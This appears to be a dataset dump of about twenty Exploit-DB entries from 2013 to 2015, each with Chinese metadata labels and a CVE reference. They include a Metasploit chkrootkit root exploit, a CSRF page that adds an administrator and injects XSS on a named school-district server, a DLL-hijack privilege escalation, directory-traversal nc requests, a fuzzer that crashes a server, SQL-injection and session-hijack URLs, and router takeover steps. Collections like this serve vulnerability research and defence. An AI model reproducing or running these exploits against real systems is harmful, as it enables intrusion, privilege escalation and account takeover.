QLWD/code_shield huggingface dataset:
标题: Oracle Outside In PDF 8.5.2 - Parsing Memory Corruption (1) EDB-ID: 38788 CVE: 2015-4877 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: #####################################################################################

Application:   Oracle Outside In

Platforms:   Windows

Versions:   8.5.2

CVE:   CVE-2015-4877

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-06-09: Francis Provencher of COSIG found the issue;
2015-06-11: Francis Provencher of COSIG report vulnerability to Oracle SA;
2015-10-18: Oracle release a patch for this issue;

#####################################################################################

============================
3) Technical details
============================

An heap memory corruption occured when Outside In decode (DCTDecode) a PDF with a JPEG that have an invalid “Heigth” value.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-002.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38788.zip

############################################################################### URL: https://www.exploit-db.com/exploits/38788
标题: Microsoft Windows - 'ndis.sys' IOCTL 0x170034 (ndis!ndisNsiGetIfNameForIfIndex) Pool Buffer Overflow (MS15-117) EDB-ID: 38793 CVE: 2015-6098 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=516

The attached testcase crashes Windows 7 32-bit due to a pool buffer overflow in an ioctl handler. Enabling special on ndis.sys netio.sys and ntoskrnl helps to track down the issue, however it will crashes due to a bad pool header without special pool as well.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38793.zip URL: https://www.exploit-db.com/exploits/38793
标题: Acrobat Reader DC 15.008.20082.15957 - '.PDF' Parsing Memory Corruption EDB-ID: 38787 CVE: 2015-7622 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: #####################################################################################

Application:   Acrobat Reader DC

Platforms:   Windows

Versions:   15.008.20082.15957

CVE:   CVE-2015-7622

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

 

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).[14]

The family comprises Acrobat Reader (formerly Adobe Reader), Acrobat (formerly Acrobat Exchange) and Acrobat.com. Thefreeware Acrobat Reader, available for several desktop and mobile platforms, can view, print and annotate PDF files.[15] Thecommercial proprietary Acrobat, available for Microsoft Windows and OS X only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files. Acrobat.com complements the family with a variety of enterprise content managementand file hosting services.

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

============================
2) Report Timeline
============================

2015-08-09: Francis Provencher of COSIG found the issue;
2015-08-11: Francis Provencher of COSIG report vulnerability to PSIRT;
2015-10-13: Adobe release a patch (APSB15-24)

#####################################################################################

============================
3) Technical details
============================

An error in the the PDF parser, could lead to a memory corruption when processing a crafted PDF with an invalid image.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-001.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38787.zip

############################################################################### URL: https://www.exploit-db.com/exploits/38787
标题: Alienvault Open Source SIEM (OSSIM) 3.1 - 'date_from' Multiple SQL Injections EDB-ID: 38781 CVE: 2013-5967 类型: WEBAPPS 平台: PHP 发布日期: 2013-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/62790/info

Open Source SIEM (OSSIM) is prone to multiple SQL-injection vulnerabilities.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Open Source SIEM (OSSIM) 4.3.0 and prior are vulnerable. 

http://www.example.com/RadarReport/radar-iso27001-potential.php?date_from=%Inject_Here%

http://www.example.com/RadarReport/radar-iso27001-A12IS_acquisition-pot.php?date_from=%Inject_Here% URL: https://www.exploit-db.com/exploits/38781
标题: Oracle Outside In PDF 8.5.2 - Parsing Memory Corruption (2) EDB-ID: 38789 CVE: 2015-4878 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: #####################################################################################

Application:   Oracle Outside In

Platforms:   Windows

Versions:   8.5.2

CVE:   CVE-2015-4878

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-06-09: Francis Provencher of COSIG found the issue;
2015-06-11: Francis Provencher of COSIG report vulnerability to Oracle SA;
2015-10-18: Oracle release a patch for this issue;

#####################################################################################

============================
3) Technical details
============================

A Use-After-Free memory corruption occured when Outside In decode (JBIG2Decode) a stream with an invalid image.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-003.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38789.zip

############################################################################### URL: https://www.exploit-db.com/exploits/38789
标题: Chkrootkit - Local Privilege Escalation (Metasploit) EDB-ID: 38775 CVE: 2014-0476 类型: LOCAL 平台: LINUX 发布日期: 2015-11-20 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

  # This could also be Excellent, but since it requires
  # up to one day to pop a shell, let's set it to Manual instead.
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chkrootkit Local Privilege Escalation',
      'Description'    => %q{
        Chkrootkit before 0.50 will run any executable file named
        /tmp/update as root, allowing a trivial privsec.

        WfsDelay is set to 24h, since this is how often a chkrootkit
        scan is scheduled by default.
      },
      'Author'         => [
        'Thomas Stangner',        # Original exploit
        'Julien "jvoisin" Voisin' # Metasploit module
      ],
      'References'     => [
        ['CVE', '2014-0476'],
        ['OSVDB', '107710'],
        ['EDB', '33899'],
        ['BID', '67813'],
        ['CWE', '20'],
        ['URL', 'http://seclists.org/oss-sec/2014/q2/430']
      ],
      'DisclosureDate' => 'Jun 04 2014',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Privileged'     => true,
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
    ))

    register_options([
      OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
    ])
  end

  def check
    version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")

    if version =~ /chkrootkit version 0\.[1-4]/
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_warning('Rooting depends on the crontab (this could take a while)')

    write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
    cmd_exec('chmod +x /tmp/update')
    register_file_for_cleanup('/tmp/update')

    print_status('Payload written to /tmp/update')
    print_status('Waiting for chkrootkit to run via cron...')
  end

end URL: https://www.exploit-db.com/exploits/38775
标题: ZTE ADSL ZXV10 W300 Modems - Multiple Vulnerabilities EDB-ID: 38772 CVE: 2015-7259 2015-7258 2015-7257 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-11-20 漏洞利用脚本: # Exploit Title: [ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.zte.com.cn]
# Versions Reported: [W300V2.1.0f_ER7_PE_O57 and W300V2.1.0h_ER7_PE_O57]

*CVE-ID*:
CVE-2015-7257
CVE-2015-7258
CVE-2015-7259

*Note*: Large deployment size, primarily in Peru, used by TdP.

1 *Insufficient authorization controls*
*CVE-ID*: CVE-2015-7257
Observed in Password Change functionality. Other functions may be
vulnerable as well.

*Expected behavior:*
Only administrative 'admin' user should be able to change password for all
the device users. 'support' is a diagnostic user with restricted
privileges. It can change only its own password.

*Vulnerability:*
Any non-admin user can change 'admin' password.

*Steps to reproduce:*
a. Login as user 'support' password XXX
b. Access Password Change page - http://<IP>/password.htm
c. Submit request
d. Intercept and Tamper the parameter ­ username ­ change from 'support' to
'admin'
e. Enter the new password ­> old password is not requested ­> Submit
> Login as admin
-> Pwn!


2 *Sensitive information disclosure - clear-text passwords*
*CVE-ID*: CVE-2015-7258
Displaying user information over Telnet connection, shows all valid users
and their passwords in clear­-text.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
Username: admin
Password: <­­­ admin/XXX1

$sh
ADSL#login show                 <--­­­ shows user information
Username Password Priority
admin        password1 2
support      password2 0
admin         password3 1

3 *(Potential) Backdoor account feature - **insecure account management*
*CVE-ID*: CVE-2015-7259
Same login account can exist on the device, multiple times, each with
different priority#. It is possible to log in to device with either of the
username/password combination.

It is considered as a (redundant) login support *feature*.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
User Access Verification
Username: admin
Password: <­--­­ admin/password3

$sh
ADSL#login show
Username  Password  Priority
admin  password1  2
support  password2  0
admin  password3  1

+++++
-- 
Best Regards,
Karn Ganeshen URL: https://www.exploit-db.com/exploits/38772
标题: Watchguard Server Center - Local Privilege Escalation EDB-ID: 38752 CVE: 2013-5701 类型: LOCAL 平台: WINDOWS 发布日期: 2013-09-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/62261/info

Watchguard Server Center is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to gain SYSTEM privileges. Successful exploits will result in the complete compromise of affected computers.

Watchguard Server Center 11.7.4 and 11.7.3 are vulnerable; other versions may also be affected. 

#include <windows.h>

#define DLL_EXPORT __declspec(dllexport)

#ifdef __cplusplus
extern "C"
{
#endif

void DLL_EXPORT wgpr_library_get()
{
    WinExec("calc",0);
}

#ifdef __cplusplus
}
#endif URL: https://www.exploit-db.com/exploits/38752
标题: SearchBlox - Multiple Information Disclosure Vulnerabilities EDB-ID: 38739 CVE: 2013-3597 类型: WEBAPPS 平台: JAVA 发布日期: 2013-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/61974/info

SearchBlox is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to obtain sensitive information that may aid in launching further attacks.

SearchBlox 7.4 Build 1 is vulnerable; other versions may also be affected. 

http://www.example.com/searchblox/servlet/CollectionListServlet?action=getList&orderBy=colName&direction=asc URL: https://www.exploit-db.com/exploits/38739
标题: Plone - 'in_portal.py' < 4.1.3 Session Hijacking EDB-ID: 38738 CVE: 2013-4200 类型: WEBAPPS 平台: PYTHON 发布日期: 2013-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/61964/info

Plone is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to hijack user sessions and gain unauthorized access to the affected application.

Note: This issue was previously discussed in the BID 61544 (Plone Multiple Remote Security Vulnerabilities), but has been moved to its own record to better document it. 

https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch URL: https://www.exploit-db.com/exploits/38738
标题: Nmap - Arbitrary File Write EDB-ID: 38741 CVE: 2013-4885 类型: REMOTE 平台: LINUX 发布日期: 2013-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/62024/info

Nmap is prone to an arbitrary file-write vulnerability.

An attacker can exploit this issue to write arbitrary files with the permissions of the user running the nmap client. This will allow the attacker to fully compromise the affected machine.

Nmap 6.25 is vulnerable; other versions may also be affected. 

nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret,domino-enum-passwords.idpath='/tmp' URL: https://www.exploit-db.com/exploits/38741
标题: Xibo - Cross-Site Request Forgery EDB-ID: 38746 CVE: 2013-4889 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/62064/info

Xibo is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Xibo 1.4.2 is vulnerable; other versions may also be affected. 

<html>
<head>
<title> Xibo - Digital Signage 1.4.2 CSRF Exploit.</title>
<!--
# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators
# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators
# CVE: CSRF - CVE-2013-4889, XSS - CVE-2013-4888
# http://infosec42.blogspot.com
# http://securityevaluators.com
-->
</head>
<body>
<h1>Please wait... </h1>
<script type="text/javascript">
//Add super user
function RF1(){
    document.write('<form name="addAdmin" target ="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=user&q=AddUser&ajax=true" method="post">'+
    '<input type="hidden" name="userid" value="0">'+
    '<input type="hidden" name="username" value="Gimppy">'+
    '<input type="hidden" name="password" value="ISE">'+
    '<input type="hidden" name="email" value="Gimppy@infosec42.com">'+
    '<input type="hidden" name="usertypeid" value="1">'+
    '<input type="hidden" name="groupid" value="1">'+
    '</form>');
}

//Set XSS Payloads
function RF2(){
    document.write('<form name="addXSS" target="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=layout&q=add&ajax=true" method="post">'+
    '<input type="hidden" name="layoutid" value="0">'+
    '<input type="hidden" name="layout" value="Gimppy<img src=42 onerror='alert(42)'>">'+
    '<input type="hidden" name="description" value="<iframe src='http://securityevaluators.com' width=100 height=1000</iframe>">'+
    '<input type="hidden" name="tags" value="">'+
    '<input type="hidden" name="templateid" value="0">'+
    '</form>');
}

function createPage(){
    RF1();
    RF2();
}

function _addAdmin(){
    document.addAdmin.submit();
}

function _addXSS(){
    document.addXSS.submit();
}

//Called Functions
createPage()
   
for (var i = 0; i < 2; i++){
    if(i == 0){
        window.setTimeout(_addAdmin, 0500);
    }
    else if(i == 1){
        window.setTimeout(_addXSS, 1000);
    }
    else{
        continue;
    }
}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/38746
标题: Aloaha PDF Suite - Remote Stack Buffer Overflow EDB-ID: 38742 CVE: 2013-4978 类型: REMOTE 平台: WINDOWS 发布日期: 2013-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/62036/info

Aloaha PDF Suite is prone to a stack-based buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/62036.zip URL: https://www.exploit-db.com/exploits/38742
标题: Twilight CMS - DeWeS Web Server Directory Traversal EDB-ID: 38737 CVE: 2013-4900 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/61906/info

Twilight CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Twilight CMS 0.4.2 is vulnerable; other versions may also be affected. 

nc [www.example.com] 80 GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1

nc [www.example.com] 80 GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/user list.dat HTTP/1.1 URL: https://www.exploit-db.com/exploits/38737
标题: cm3 Acora CMS - 'top.aspx' Information Disclosure EDB-ID: 38740 CVE: 2013-4727 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/62010/info

cm3 Acora CMS is prone to an information-disclosure vulnerability.

Successful exploits of this issue lead to disclosure of sensitive information which may aid in launching further attacks. 

http://www.example.com/AcoraCMS/Admin/top.aspx

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div> URL: https://www.exploit-db.com/exploits/38740
标题: Xibo - 'layout' HTML Injection EDB-ID: 38745 CVE: 2013-4888 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/62063/info

Xibo is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible.

Xibo 1.4.2 is vulnerable; other versions may also be affected. 

POST: /index.php?p=layout&q=add&ajax=true

Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0 URL: https://www.exploit-db.com/exploits/38745
标题: Pwstore - Denial of Service EDB-ID: 38747 CVE: 2013-5657 类型: DOS 平台: WINDOWS 发布日期: 2013-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/62112/info

pwStore is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the application, denying service to legitimate users.

pwStore 2010.8.30.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/env python
from sulley import *
import sys
import time

s_initialize("HTTP")

s_static("GET / HTTP/1.1\r\n")
s_static("Host")
s_static(":\x0d\x0a")
s_static(" ")
s_string("192.168.1.39")
s_static("\r\n")
s_static("\r\n")

print "Instantiating session"
sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50)
print "Instantiating target"
target = sessions.target("192.168.1.39", 443)
#target.procmon = pedrpc.client("127.0.0.1", 26002)
#target.netmon = pedrpc.client("127.0.0.1", 26001)

target.procmon_options =  {
    "proc_name" : "savant.exe",
    "stop_commands" : ['wmic process where (name="savant.exe") delete"'],
    "start_commands" : ['C:\\savant\\savant.exe'],
}


print "Adding target"
sess.add_target(target)

print "Building graph"
sess.connect(s_get("HTTP"))

print "Starting fuzzing now"
sess.fuzz() URL: https://www.exploit-db.com/exploits/38747
标题: SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure EDB-ID: 38689 CVE: 2013-2653 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/61578/info

SilverStripe is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.

SilverStripe 3.0.3 is vulnerable; other versions may also be affected. 

http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in URL: https://www.exploit-db.com/exploits/38689